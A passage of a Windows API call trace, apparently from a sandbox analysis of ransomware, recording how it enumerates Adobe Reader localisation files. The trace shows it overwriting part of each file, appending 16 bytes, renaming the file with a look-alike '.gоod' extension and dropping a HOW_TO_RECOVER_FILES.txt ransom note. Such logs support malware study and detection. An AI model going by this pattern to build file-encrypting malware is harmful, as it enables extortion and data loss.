lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de", lpFilePart=0x0) returned 0x71 [0242.508] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0242.509] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.509] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0242.509] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0242.509] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0242.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0242.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0242.509] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0242.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0242.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38cf5e8 | out: lpFileInformation=0x38cf5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc8c2)) returned 1 [0242.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0242.510] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0242.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0242.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0242.511] GetFileType (hFile=0x85c) returned 0x1 [0242.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0242.511] GetFileType (hFile=0x85c) returned 0x1 [0242.511] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0242.511] ReadFile (in: hFile=0x85c, lpBuffer=0x38cfb10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x38cfb10*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0242.512] CloseHandle (hObject=0x85c) returned 1 [0242.512] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0242.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0242.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0242.512] GetFileType (hFile=0x85c) returned 0x1 [0242.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0242.512] GetFileType (hFile=0x85c) returned 0x1 [0242.512] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xc8c2 [0242.512] WriteFile (in: hFile=0x85c, lpBuffer=0x38d3028*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x38d3028*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0242.513] CloseHandle (hObject=0x85c) returned 1 [0242.513] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0242.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0242.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0242.513] GetFileType (hFile=0x85c) returned 0x1 [0242.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0242.513] GetFileType (hFile=0x85c) returned 0x1 [0242.513] ReadFile (in: hFile=0x85c, lpBuffer=0x38d5358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x38d5358*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0242.540] CloseHandle (hObject=0x85c) returned 1 [0242.540] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0242.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0242.540] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0242.540] GetFileType (hFile=0x85c) returned 0x1 [0242.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0242.540] GetFileType (hFile=0x85c) returned 0x1 [0242.540] WriteFile (in: hFile=0x85c, lpBuffer=0x38d4040*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x38d4040*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0242.540] CloseHandle (hObject=0x85c) returned 1 [0242.541] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0242.541] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0242.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0242.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8cc839f4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d2)) returned 1 [0242.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0242.541] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\ui-strings.js.gоod")) returned 1 [0242.542] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0242.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0242.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0242.542] GetFileType (hFile=0x85c) returned 0x1 [0242.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0242.542] GetFileType (hFile=0x85c) returned 0x1 [0242.543] WriteFile (in: hFile=0x85c, lpBuffer=0x3956f80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3956f80*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0242.543] CloseHandle (hObject=0x85c) returned 1 [0242.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0242.543] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x71 [0242.544] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0242.544] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.544] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0242.544] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.544] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0242.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0242.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0242.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0242.544] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x71 [0242.544] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0242.545] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.545] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0242.545] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0242.545] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0242.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0242.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0242.545] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0242.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0242.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3966cf8 | out: lpFileInformation=0x3966cf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e9)) returned 1 [0242.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0242.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0242.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0242.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0242.546] GetFileType (hFile=0x85c) returned 0x1 [0242.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0242.546] GetFileType (hFile=0x85c) returned 0x1 [0242.546] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0242.546] ReadFile (in: hFile=0x85c, lpBuffer=0x39671f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x39671f0*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0243.430] CloseHandle (hObject=0x85c) returned 1 [0243.430] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.430] GetFileType (hFile=0x85c) returned 0x1 [0243.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.430] GetFileType (hFile=0x85c) returned 0x1 [0243.430] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xa3e9 [0243.430] WriteFile (in: hFile=0x85c, lpBuffer=0x39592a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x39592a8*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0243.433] CloseHandle (hObject=0x85c) returned 1 [0243.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files 